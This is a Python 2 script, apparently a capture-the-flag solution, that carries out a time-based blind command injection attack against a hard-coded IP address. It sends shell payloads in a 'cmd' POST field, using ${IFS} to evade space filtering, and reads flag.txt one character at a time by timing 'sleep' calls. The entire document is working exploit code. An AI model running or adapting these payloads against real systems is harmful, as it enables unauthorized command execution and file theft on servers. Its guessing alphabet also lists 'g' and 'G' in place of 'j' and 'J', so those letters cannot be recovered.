import requests
import time
url = 'http://120.55.43.255:22712/'
alphabet = ['?', '!', '|', '[', ']', '{', '}', '_', '/', '*', '-', '+', '&', "%", '#', '@', '$', '^', '~', 'a', 'b',
'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ''
count = 0
sign = 0
for i in range(50):
count += 1
payload = ''
payload += 'a=`cut${IFS}-c${IFS}'
payload += str(count)
payload += '''${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"'''
payload += '}'
payload += '''"${IFS}]${IFS}&&${IFS}sleep${IFS}3'''
data = {'cmd': payload}
a = time.time()
r = requests.post(url, data=data)
b = time.time()
if (b - a) > 2:
print "Find."
flaglen = count
print count
break
count = 0
for i in range(flaglen):
count += 1
sign = 0
for letter in alphabet:
payload = ''
payload += 'a=`cut${IFS}-c${IFS}'
payload += str(count)
payload += '''${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"'''
payload += letter
payload += '''"${IFS}]${IFS}&&${IFS}sleep${IFS}3'''
data = {'cmd': payload}
print payload
a = time.time()
r = requests.post(url, data=data)
b = time.time()
if (b - a) > 2:
print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!YES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
flag += letter
sign = 1
print flag
break
if sign == 0:
print "@@@@@@@@@@@@@@@@@@@@@ERROR@@@@@@@@@@@@@@@@@@@@@@@@@@"
print flag
